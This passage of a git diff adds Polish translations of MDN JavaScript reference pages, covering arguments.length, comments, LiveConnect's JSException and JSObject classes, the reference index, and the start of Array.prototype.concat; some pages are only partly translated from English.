funkcji. +</p> +</td> +</tr> +<tr> +<td>Wersja ECMA:</td> +<td>ECMA-262</td> +</tr> +</tbody></table> +<h3 id="Opis" name="Opis"> Opis </h3> +<p><code>length</code> jest własnością zmiennej lokalnej <code>arguments</code> dostępnej wewnątrz wszystkich obiektów funkcji; <code>length</code> jako własność <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/arguments">Function.arguments</a></code> nie jest już używana (również sam obiekt <code>Function.arguments</code> jest wycofywany). +</p><p><code>arguments.length</code> dostarcza liczbę argumentów przekazywanych obecnie funkcji. Dla porównania, własność <code>Function.length</code> wskazuje ilość argumentów oczekiwanych przez funkcję. +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<h4 id="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length" name="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length"> Przykład: Zastosowanie <code>Function.length</code> i <code>arguments.length</code> </h4> +<p>Następujący przykład przedstawia zastosowanie <code>Function.length</code> i <code>arguments.length</code>. +</p> +<pre>function addNumbers(x,y){ + if (arguments.length == addNumbers.length) { + return (x+y) + } + else return 0 +} +</pre> +<p>Jeśli podano więcej niż dwa argumenty funkcji, zostanie zwrócona wartość 0: +</p> +<pre>result=addNumbers(3,4,5) // zwraca 0 +result=addNumbers(3,4) // zwraca 7 +result=addNumbers(103,104) // zwraca 207 +</pre> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function/length">Function.length</a></code> +</p><p><br> +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/length", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/length", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/length" } ) }} diff --git a/files/pl/web/javascript/referencje/index.html b/files/pl/web/javascript/referencje/index.html new file mode 100644 index 0000000000..e493d4ad80 --- /dev/null +++ b/files/pl/web/javascript/referencje/index.html @@ -0,0 +1,70 @@ +--- +title: Dokumentacja referencyjna JavaScript +slug: Web/JavaScript/Referencje +tags: + - AJAX + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference +--- +<h4 id="JsSidebar">{{JsSidebar}}</h4> + +<p>Ta część rozdziału JavaScript na MDN służy jako repozytorium faktów dotyczących jezyka JavaScript. Więcej na ten temat na stronie <a href="/pl/docs/Web/JavaScript/Reference/About">O dokumentacji referencyjnej</a>.<br> + </p> + +<h2 id="Obiekty_globalne">Obiekty globalne</h2> + +<p>W tym rozdziale udokumentowano wszystkie <a href="/pl/docs/Web/JavaScript/Reference/Global_Objects">standardowe wbudowane obiekty JavaScript</a>, wraz z ich metodami i właściwościami.<br> + </p> + +<p>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects', 'Standard_objects_by_category')}}</p> + +<h2 id="Instrukcje">Instrukcje</h2> + +<p>Rozdział ten dokumentuje wszystkie <a href="/pl/docs/Web/JavaScript/Reference/Statements">deklaracje i instrukcje JavaScript</a>.</p> + +<p>{{page('/en-US/docs/Web/JavaScript/Reference/Statements', 'Statements_and_declarations_by_category')}}</p> + +<p> </p> + +<h2 id="Wyrażenia_i_operatory">Wyrażenia i operatory</h2> + +<p>Udokumentowano tu wszystkie <a href="/pl/docs/Web/JavaScript/Reference/Operators">wyrażenie i operatory JavaScript</a>.</p> + +<p>{{page('/en-US/docs/Web/JavaScript/Reference/Operators', 'Expressions_and_operators_by_category')}}</p> + +<p> </p> + +<h2 id="Funkcje">Funkcje</h2> + +<p>W tym rozdziale opisano pracę z <a href="/pl/docs/Web/JavaScript/Reference/Functions">funkcjami JavaScript</a> przy tworzeniu aplikacji.</p> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/arguments"><code>argumenty</code></a></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funkcje strzałkowe</a></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/Default_parameters">parametry domyślne</a></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Functions/rest_parameters">parametry resztowe</a></li> +</ul> + +<p> </p> + +<h2 id="Dodatkowe_strony_z_informacjami">Dodatkowe strony z informacjami</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Reference/Lexical_grammar">Gramatyka leksykalna</a></li> + <li><a href="/pl/docs/Web/JavaScript/Data_structures">Typy danych i struktury danych</a></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Strict_mode">Tryb ścisły</a></li> + <li><a href="/pl/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Funkcjonalności zdeprecjonowane</a></li> +</ul> + +<p> </p> + +<p> </p> + +<p> </p> + +<p> </p> + +<p> </p> diff --git a/files/pl/web/javascript/referencje/komentarz/index.html b/files/pl/web/javascript/referencje/komentarz/index.html new file mode 100644 index 0000000000..4561a31d9b --- /dev/null +++ b/files/pl/web/javascript/referencje/komentarz/index.html @@ -0,0 +1,54 @@ +--- +title: Komentarz +slug: Web/JavaScript/Referencje/Komentarz +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Lexical_grammar#Comments +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Uwagi od programisty wyjaśniające działanie kodu. Komentarze są ignorowane przez interpreter.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header" colspan="2">Komentarze</td> + </tr> + <tr> + <td>Zaimplementowane w:</td> + <td>JavaScript 1.0, NES2.0</td> + </tr> + <tr> + <td>Wersja ECMA:</td> + <td>ECMA-262</td> + </tr> + </tbody> +</table> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<p><code>// tekst komentarza </code></p> +<p><code>/* wieloliniowy tekst komentarza */ </code></p> +<h3 id="Opis" name="Opis">Opis</h3> +<p>JavaScript obsługuje komentarze w stylu Javy:</p> +<ul> + <li>Komentarze zawarte w jednej linii poprzedzone są dwoma ukośnikami (<code>//</code>),</li> + <li>Komentarze zawarte w wielu liniach poprzedzone są znakami <code>/*</code>, a zakończone znakami <code>*/</code>. Komentarze wieloliniowe + <i> + nie mogą</i> + być zagnieżdżane.</li> +</ul> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<h4 id="Przyk.C5.82ad:_Komentarz_jednoliniowy" name="Przyk.C5.82ad:_Komentarz_jednoliniowy">Przykład: Komentarz jednoliniowy</h4> +<pre>// To jest komentarz jednoliniowy. +var intAge = 37; //To jest inny komentarz +</pre> +<h4 id="Przyk.C5.82ad:_Komentarz_wieloliniowy" name="Przyk.C5.82ad:_Komentarz_wieloliniowy">Przykład: Komentarz wieloliniowy</h4> +<pre>/* To jest komentarz wieloliniowy. + Może być dowolnie długi i zawierać dowolne znaki, + za wyjątkiem innych komentarzy wieloliniowych. */ +</pre> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Comments/comment", "es": "es/Referencia_de_JavaScript_1.5/Comentarios/comentario", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Commentaires", "ja": "ja/Core_JavaScript_1.5_Reference/Comments/comment" } ) }}</p> diff --git a/files/pl/web/javascript/referencje/liveconnect/index.html b/files/pl/web/javascript/referencje/liveconnect/index.html new file mode 100644 index 0000000000..74f6c075d4 --- /dev/null +++ b/files/pl/web/javascript/referencje/liveconnect/index.html @@ -0,0 +1,23 @@ +--- +title: LiveConnect +slug: Web/JavaScript/Referencje/LiveConnect +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect/LiveConnect_Reference +--- +<p> +</p><p>Ten rozdział opisuje klasy języka Java używane z technologią LiveConnect wraz z ich konstruktorami i metodami. Klasy te pozwalają obiektom języka Java na dostęp do kodu JavaScript. +</p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSException">JSException</a> +</p> +<dl><dd> Publiczna klasa <code>JSException</code> dziedziczy po klasie <code>RuntimeException</code>. Wyjątek ten jest wyrzucany, kiedy kod JavaScriptu zwróci błąd. +</dd></dl> +<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSObject">JSObject</a> +</p> +<dl><dd> Publiczna klasa <code>JSObject</code> dziedziczy po klasie <code>Object</code>. Obiekty JavaScriptu są otaczane instancjami klasy <code>JSObject</code> i przekazywane do kodu Javy, pozwalając Javie na manipulowanie obiektami JavaScriptu. +</dd></dl> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/LiveConnect", "es": "es/Referencia_de_JavaScript_1.5/LiveConnect" } ) }} diff --git a/files/pl/web/javascript/referencje/liveconnect/jsexception/index.html b/files/pl/web/javascript/referencje/liveconnect/jsexception/index.html new file mode 100644 index 0000000000..3d66cc7ac7 --- /dev/null +++ b/files/pl/web/javascript/referencje/liveconnect/jsexception/index.html @@ -0,0 +1,93 @@ +--- +title: JSException +slug: Web/JavaScript/Referencje/LiveConnect/JSException +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect/LiveConnect_Reference/JSException +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Publiczna klasa<code>JSException</code> rozszerzająca <code>RuntimeException</code> +</p> +<pre>java.lang.Object + | + +----java.lang.Throwable + | + +----java.lang.Exception + | + +----java.lang.RuntimeException + | + +----netscape.javascript.JSException +</pre> +<h3 id="Opis" name="Opis"> Opis </h3> +<p><code>JSException</code> jest wyjątkiem wyrzucanym, kiedy kod JavaScript zwróci błąd. +</p> +<h3 id="Podsumowanie_konstruktora" name="Podsumowanie_konstruktora"> Podsumowanie konstruktora </h3> +<p>Klasa <code>netscape.javascript.JSException</code> posiada następujące konstruktory : +</p> +<dl><dt> <code>JSException</code></dt><dd> Przestarzały konstruktor pozwala opcjonalnie na określenie szczegółowego powiadomienia lub innych informacji. +</dd></dl> +<h3 id="Podsumowanie_metod" name="Podsumowanie_metod"> Podsumowanie metod </h3> +<p>Klasa <code>netscape.javascript.JSException</code> posiada następujące metody: +</p> +<dl><dt> <code>getWrappedException</code> </dt><dd> Instancja metody <code>getWrappedException</code>. +</dd></dl> +<dl><dt> <code>getWrappedExceptionType</code> </dt><dd> Instancja metody <code>getWrappedExceptionType</code> zwraca wartość int mapującą typ obiektu <code>wrappedException</code>. +</dd></dl> +<h3 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna"> Kompatybilność wsteczna </h3> +<h4 id="JavaScript_1.1_do_1.3" name="JavaScript_1.1_do_1.3"> JavaScript 1.1 do 1.3 </h4> +<p>Klasa <code>JSException</code> miała trzy konstruktory publiczne, które opcjonalnie pobierały argument w postaci ciągu znaków, określającego szczegółowy komunikat lub inne informacje danego wyjątku. Metoda <code>getWrappedException</code> nie była dostępna. +</p><p>Konstruktory <code>JSException</code>, oznaczone jako przestarzałe w JavaScripcie 1.4, tworzą obiekt <code>JSException</code> z opcjonalnym komunikatem szczegółowym. +</p> +<h3 id="Deklaracja" name="Deklaracja"> Deklaracja </h3> +<pre>1. public JSException() + +2. public JSException(String s) + +3. public JSException(String s, + String filename, + int lineno, + String source, + int tokenIndex) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt> <code>s</code> </dt><dd> Szczegółowy komunikat. </dd></dl> +<dl><dt> <code>filename</code> </dt><dd> Adres URL pliku gdzie wystąpił błąd, o ile jest dostępny. </dd></dl> +<dl><dt> <code>lineno</code> </dt><dd> Liczba linii w pliku, o ile jest dostępny. </dd></dl> +<dl><dt> <code>source</code> </dt><dd> Łańcuch znakowy zawierający wykonywany kod JavaScript. </dd></dl> +<dl><dt> <code>tokenIndex</code> </dt><dd> Indeks w źródłowym łańcuchu znaków, wskazujący miejsce wystąpienia błędu. +</dd></dl> +<h3 id="getWrappedException" name="getWrappedException"> <code>getWrappedException</code> </h3> +<p>Metoda instancji <code>getWrappedException</code>. +</p> +<h4 id="Deklaracja_2" name="Deklaracja_2"> Deklaracja </h4> +<p><code> +public Object getWrappedException() +</code> +</p> +<h4 id="Opis_2" name="Opis_2"> Opis </h4> +<p><code>getWrappedException()</code> zwraca obiek reprezentujący wartość faktycznie wyrzuconą przez JavaScript. JavaScript może wyrzucić wartość dowolnego typu. Metoda <code>getWrappedException()</code> pozwala określić, jaki rodzaj wartości jest reprezentowany przez zwracany typ Object. +</p> +<h3 id="getWrappedExceptionType" name="getWrappedExceptionType"> <code>getWrappedExceptionType</code> </h3> +<p>Metoda instancji <code>getWrappedExceptionType</code>. +</p> +<h4 id="Deklaracja_3" name="Deklaracja_3"> Deklaracja </h4> +<p><code> +public int getWrappedExceptionType() +</code> +</p> +<h4 id="Opis_3" name="Opis_3"> Opis </h4> +<p><code>getWrappedExceptionType()</code> zwraca wartość <code>int</code>, pasującą do jednej z następujących statycznych <code>int</code> pól klasy <code>JSException</code>: +</p> +<ul><li> <code>EXCEPTION_TYPE_EMPTY</code> +</li><li> <code>EXCEPTION_TYPE_VOID</code> +</li><li> <code>EXCEPTION_TYPE_OBJECT</code> +</li><li> <code>EXCEPTION_TYPE_FUNCTION</code> +</li><li> <code>EXCEPTION_TYPE_STRING</code> +</li><li> <code>EXCEPTION_TYPE_NUMBER</code> </li><li> <code>EXCEPTION_TYPE_BOOLEAN</code> +</li></ul> +{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/LiveConnect/JSException" } ) }} diff --git a/files/pl/web/javascript/referencje/liveconnect/jsobject/index.html b/files/pl/web/javascript/referencje/liveconnect/jsobject/index.html new file mode 100644 index 0000000000..c556510362 --- /dev/null +++ b/files/pl/web/javascript/referencje/liveconnect/jsobject/index.html @@ -0,0 +1,186 @@ +--- +title: JSObject +slug: Web/JavaScript/Referencje/LiveConnect/JSObject +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Archive/Web/LiveConnect/LiveConnect_Reference/JSObject +--- +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>The public final class <code>netscape.javascript.JSObject</code> extends <code>Object</code>.</p> + +<pre>java.lang.Object + | + +----netscape.javascript.JSObject +</pre> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Obiekty JavaScript są are wrapped in an instance of the class <code>netscape.javascript.JSObject</code> and passed to Java. <code>JSObject</code> allows Java to manipulate JavaScript objects.</p> + +<p>When a JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type <code>JSObject</code>; when a <code>JSObject</code> is sent from Java to JavaScript, the runtime engine unwraps it to its original JavaScript object type. The <code>JSObject</code> class provides a way to invoke JavaScript methods and examine JavaScript properties.</p> + +<p>Any JavaScript data brought into Java is converted to Java data types. When the <code>JSObject</code> is passed back to JavaScript, the object is unwrapped and can be used by JavaScript code. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">Przewodnik po języku JavaScript 1.5</a> w celu uzyskania dodatkowych informacji o konwersji typu danych.</p> + +<h3 id="Podsumowanie_metod" name="Podsumowanie_metod">Podsumowanie metod</h3> + +<p>Klasa <code>netscape.javascript.JSObject</code> posiada następujące metody:</p> + +<dl> + <dt><code>{{ Anch("call") }}</code> </dt> + <dd>Wywołuje metodę JavaScript.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("equals") }}</code> </dt> + <dd>Określa, jeśli dwa obiekty <code>JSObject</code> odnoszą się do tej samej instancji.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("eval") }}</code> </dt> + <dd>Wykonuje wyrażenie JavaScript.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("getMember") }}</code> </dt> + <dd>Odzyskuje wartość własności obiektu JavaScript.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("getSlot") }}</code> </dt> + <dd>Odzyskuje wartość elementu tablicy obiektu JavaScript.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("removeMember") }}</code> </dt> + <dd>Usuwa własność obiektu JavaScript.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("setMember") }}</code> </dt> + <dd>Ustawia wartość własności obiektu JavaScript.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("setSlot") }}</code> </dt> + <dd>Ustawia wartość elementu tablicy obiektu JavaScript.</dd> +</dl> + +<dl> + <dt><code>{{ Anch("toString") }}</code> </dt> + <dd>Konwertuje JSObject do łańcucha znaków.</dd> +</dl> + +<p>Klasa <code>netscape.javascript.JSObject</code> posiada następujące statyczne metody:</p> + +<dl> + <dt><code>{{ Anch("getWindow") }}</code> </dt> + <dd>Pobiera <code>JSObject</code> dla okna stanowiącego dany aplet.</dd> +</dl> + +<h4 id="call" name="call">call</h4> + +<p>Metoda. Wywołuje metodę JavaScript. Równoważny z "<code>this.methodName(args{{ mediawiki.external(0) }}, args{{ mediawiki.external(1) }}, ...)</code>" w JavaScript.</p> + +<h5 id="Deklaracja" name="Deklaracja">Deklaracja</h5> + +<pre>public Object call(String methodName, + Object args[]) +</pre> + +<h4 id="equals" name="equals">equals</h4> + +<p>Metoda. Określona, jeśli dwa obiekty <code>JSObject</code> odnoszą się do tej samej instancji.</p> + +<p>Przesłania: <code>equals</code> w klasie <code>java.lang.Object</code></p> + +<h5 id="Deklaracja_2" name="Deklaracja_2">Deklaracja</h5> + +<pre>public boolean equals(Object obj) +</pre> + +<h5 id="Kompatybilno.C5.9B.C4.87_wsteczna" name="Kompatybilno.C5.9B.C4.87_wsteczna">Kompatybilność wsteczna</h5> + +<p><strong>JavaScript 1.3</strong>. W JavaScript 1.3 i wersjach wcześniejszych, możemy zastosować wcześniejsze metody równości <code>java.lang.Object</code> lub operator <code>==</code> do porównania dwóch obiektów <code>JSObject</code>.</p> + +<p>W większości ostatnich wersji, samo <code>JSObject</code> potrafi wyświetlić jako obiekt Javy. Można użyć metody equals do określenia gdzie dwa obiekty <code>JSObjects</code> odnoszą się do tej samej instancji.</p> + +<h4 id="eval" name="eval">eval</h4> + +<p>Metoda. Wykonuje wyrażenia JavaScript. Wyrażenie jest łańcuchem znakowym kodu źródłowego JavaScript, który będzie wykonany w kontekście pobierania przez "this".</p> + +<h5 id="Deklaracja_3" name="Deklaracja_3">Deklaracja</h5> + +<pre>public Object eval(String s) +</pre> + +<h4 id="getMember" name="getMember">getMember</h4> + +<p>Metoda. Odzyskuje wartość własności obiektu JavaScript. Równoważna do "<code>this.name</code>" w JavaScript.</p> + +<h5 id="Deklaracja_4" name="Deklaracja_4">Deklaracja</h5> + +<pre>public Object getMember(String name) +</pre> + +<h4 id="getSlot" name="getSlot">getSlot</h4> + +<p>Metoda. Odzyskuje wartość elementu tablicy obiektu w JavaScript. Równoważna do "<code>this{{ mediawiki.external('index') }}</code>" w JavaScript.</p> + +<h5 id="Deklaracja_5" name="Deklaracja_5">Deklaracja</h5> + +<pre>public Object getSlot(int index) +</pre> + +<h4 id="getWindow" name="getWindow">getWindow</h4> + +<p>Metoda statyczna. Zwraca <code>JSObject</code> dla okna stanowiącego dany aplet. Ta metoda jest użyteczna tylko po stronie klienta (client-side) w JavaScripcie.</p> + +<h5 id="Deklaracja_6" name="Deklaracja_6">Deklaracja</h5> + +<pre>public static JSObject getWindow(Applet applet) +</pre> + +<h4 id="removeMember" name="removeMember">removeMember</h4> + +<p>Metoda. Usuwa własność obiektu w JavaScript.</p> + +<h5 id="Deklaracja_7" name="Deklaracja_7">Deklaracja</h5> + +<pre>public void removeMember(String name) +</pre> + +<h4 id="setMember" name="setMember">setMember</h4> + +<p>Metoda. Ustala wartość własności obiektu JavaScript. Równoważna do "<code>this.name = value</code>" w JavaScript.</p> + +<h5 id="Deklaracja_8" name="Deklaracja_8">Deklaracja</h5> + +<pre>public void setMember(String name, + Object value) +</pre> + +<h4 id="setSlot" name="setSlot">setSlot</h4> + +<p>Metoda. Ustala wartość elementu tablicy obiektu JavaScript. Równoważna "<code>this{{ mediawiki.external('index') }} = value</code>" w JavaScript.</p> + +<h5 id="Deklaracja_9" name="Deklaracja_9">Deklaracja</h5> + +<pre>public void setSlot(int index, + Object value) +</pre> + +<h4 id="toString" name="toString">toString</h4> + +<p>Metoda. Konwertuje <code>JSObject</code> na <code>String</code>.</p> + +<p>Przesłania: <code>toString</code> w klasie <code>java.lang.Object</code></p> + +<h5 id="Deklaracja_10" name="Deklaracja_10">Deklaracja</h5> + +<pre>public String toString() +</pre> diff --git a/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html b/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html new file mode 100644 index 0000000000..a16cf69e3d --- /dev/null +++ b/files/pl/web/javascript/referencje/o_tym_dokumencie/index.html @@ -0,0 +1,58 @@ +--- +title: O dokumentacji referencyjnej +slug: Web/JavaScript/Referencje/O_tym_dokumencie +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - Informator + - JavaScript + - Referencje + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/About +--- +<p>{{JsSidebar}}</p> + +<p>Dokumentacja referencyjna JavaScript służy jako repozytorium faktów w zakresie języka JavaScript. Tutaj opisany jest szczegółowo cały język. Podczas pisania kodu JavaScript, będziesz często zaglądać na te strony, stąd nazwa tej części dokumentacji (dokumentacja referencyjna). Jeśli uczysz się dopiero JavaScript lub potrzebujesz wyjaśnień na temat jakichś możliwości lub funkcjonalności, sprawdz nasz <a href="/pl/docs/Web/JavaScript/Guide">podręcznik JavaScript</a>.</p> + +<p>Język JavaScript jest przeznaczony do użycia w szerokim środowisku, zarówno w przeglądarce internetowej, aplikacjach na urządzenia mobilne jak i skryptach działających po stronie serwera. Przeważająca część informacji, zawarta w naszym dokumentacji referencyjnej, ma charakters agnostyczny i nie dotyczy środowiska przeglądarki.</p> + +<h2 id="Gdzie_znaleźć_informacje_o_JavaScript">Gdzie znaleźć informacje o JavaScript</h2> + +<p>Nasza dokumentacja rdzennych funkcjonalności JavaScript (w przeważającej części czysty <a href="/pl/docs/Web/JavaScript/Zasoby_języka_JavaScript">ECMAScript</a>) obejmuje</p> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Guide">Podręcznik JavaScript</a></li> + <li><a href="/pl/docs/Web/JavaScript/Referencje">Dokumentację referencyjną JavaScript</a></li> +</ul> + +<p>Jeśli jesteś początkującym w JavaScript, rozpocznij od lektury <a href="/pl/docs/Web/JavaScript/Guide">podręcznika</a>. Gdy już będziesz zrozumiesz podstawy, możesz zająć się <a href="/pl/docs/Web/JavaScript/Referencje">referencjami</a>, aby uzyskać wiedzę na temat poszczególnych obiektów i konstrukcji językowych.</p> + +<h2 id="Struktura_dokumentacji_referencyjnej">Struktura dokumentacji referencyjnej</h2> + +<p>W dokumentacji referencyjnej znajdują się następujące rozdziały:</p> + +<dl> + <dt><a href="/pl/docs/Web/JavaScript/Referencje/Obiekty">Obiekty</a></dt> + <dd>W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Referencje/Polecenia">Polecenia i deklaracje</a></dt> + <dd>JavaScript applications consist of statements with an appropriate syntax. A single statement may span multiple lines. Multiple statements may occur on a single line if each statement is separated by a semicolon. This isn't a keyword, but a group of keywords.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Referencje/Operatory">Operatory i wyrażenia</a></dt> + <dd>This chapter documents all the JavaScript language operators, expressions and keywords.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Reference/Functions">Funkcje</a></dt> + <dd>Chapter about JavaScript functions.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Reference/Classes">Klasy</a></dt> + <dd>Chapter about JavaScript classes introduced in ECMAScript 2015.</dd> + <dt><a href="/pl/docs/Web/JavaScript/Reference/Errors">Błędy</a></dt> + <dd>Chapter about specific errors, exceptions and warnings thrown by JavaScript.</dd> + <dt><a href="/pl/docs/Web/JavaScript/New_in_JavaScript">Nowości w JavaScript</a></dt> + <dd>Chapter about JavaScript version history.</dd> +</dl> + +<h3 id="Więcej_odnośnych_stron">Więcej odnośnych stron</h3> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Referencje/Przestarzałe_własności_i_metody">Przestarzałe własności i metody</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Gramatyka leksykalna</a></li> + <li><a href="/pl/docs/Web/JavaScript/typy_oraz_struktury_danych">Typy oraz struktury danych w JavaScript</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html b/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html new file mode 100644 index 0000000000..3dbff8627a --- /dev/null +++ b/files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html @@ -0,0 +1,31 @@ +--- +title: Konwencje formatowania tekstu +slug: Web/JavaScript/Referencje/O_tym_dokumencie/Konwencje_formatowania_tekstu +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<p>Aplikacje w języku JavaScript działają na różnych systemach operacyjnych; informacje zawarte w tym dokumencie dotyczą wszystkich wersji. Nazwy plików i katalogów podawane są w stylu Windows (tzn. do rozdzielania katalogów stosowane są wsteczne ukośniki). Dla wersji Unix ścieżki są takie same, należy tylko zamienić ukośniki wsteczne na ukośniki zwykłe.</p> +<p>W dokumencie tym uniwersalne lokalizatory zasobów (adresy URL) podawane są w postaci:</p> +<p><code><span class="nowiki">http://</span><em>serwer</em>.<em>domena</em>/<em>ścieżka</em>/<em>plik.html</em> </code></p> +<p>W tych adresach URL:</p> +<ul> + <li><em>serwer</em> oznacza nazwę serwera, na którym uruchamiana jest Twoja aplikacja, np. <code>research1</code> albo <code>www</code></li> + <li><em>domena</em> oznacza Twoją domenę internetową, taką jak <code>mozilla.org</code> albo <code>po.opole.pl</code></li> + <li><em>ścieżka</em> oznacza strukturę katalogów na serwerze</li> + <li><em>plik.html</em> oznacza nazwę danego pliku</li> +</ul> +<p>Ogólnie rzecz biorąc, elementy pochylone w adresach URL są placeholderami, a elementy w normalnej czcionce o stałej szerokości - literałami.</p> +<p>W dokumencie tym stosowane są następujące konwencje dotyczące czcionek:</p> +<ul> + <li><code>czcionka o stałej szerokości</code> używana jest w listingach kodu źródłowego i przykładach, opisach elementów API i języka (np. nazwy metod i własności), nazw plików, ścieżek dostępu, nazw katalogów, znaczników HTML oraz każdego innego tekstu, który ma być wpisany z klawiatury (pochylona czcionka o stałej szerokości używana jest dla placeholderów w kodzie źródłowym).</li> +</ul> +<ul> + <li><em>czcionka pochylona</em> używana jest do tytułów książek, emfazy, nazw zmiennych i ścieżek do plików oraz wyrażeń użytych w sensie dosłownym.</li> +</ul> +<ul> + <li><strong>czcionka pogrubiona</strong> używana dla terminów słownikowych.</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/array/concat/index.html b/files/pl/web/javascript/referencje/obiekty/array/concat/index.html new file mode 100644 index 0000000000..014219e1d9 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/array/concat/index.html @@ -0,0 +1,71 @@ +--- +title: Array.prototype.concat() +slug: Web/JavaScript/Referencje/Obiekty/Array/concat +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat +--- +<div>{{JSRef("Global_Objects", "Array")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca nową tablicę złożoną z tablicy, na której wywołano tę metodę, połączonej z innymi podanymi tablicami lub wartościami.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>var <var>new_array</var> = <var>old_array</var>.concat(wartość1[, wartość2[, ...[, wartośćN]]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>wartość + <i>N</i> + </code> </dt> + <dd>Tablice lub wartości do dołączenia do tablicy, na której wywołana została metoda <code>concat</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>concat</code> nie zmienia oryginalnej tablicy, lecz zwraca jej kopię "o jednym poziomie głębokości" zawierającą te same elementy wspólne co pierwotna tablica. Elementy oryginalnej tablicy są kopiowane do nowej tablicy następująco:</p> + +<ul> + <li>referencje do obiektów (a nie faktyczne obiekty): <code>concat</code> kopiuje referencje do obiektów do nowej tablicy. Zarówno pierwotna, jak i nowa tablica odnoszą się więc do tych samych obiektów. Oznacza to, że jeżeli wskazany obiekt jest modyfikowany, zmiany są widoczne w obydwu tablicach (nowej i starej).</li> +</ul> + +<ul> + <li>Łańcuchy znaków i liczby (ale nie obiekty {{jsxref("String")}} i {{jsxref("Number")}} ): <code>concat</code> kopiuje wartości łańcuchów znaków i liczb do nowej tablicy.</li> +</ul> + +<p>Operacje wykonywane na nowej tablicy nie wpłyną w żaden sposób na oryginalną tablicę i na odwrót.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 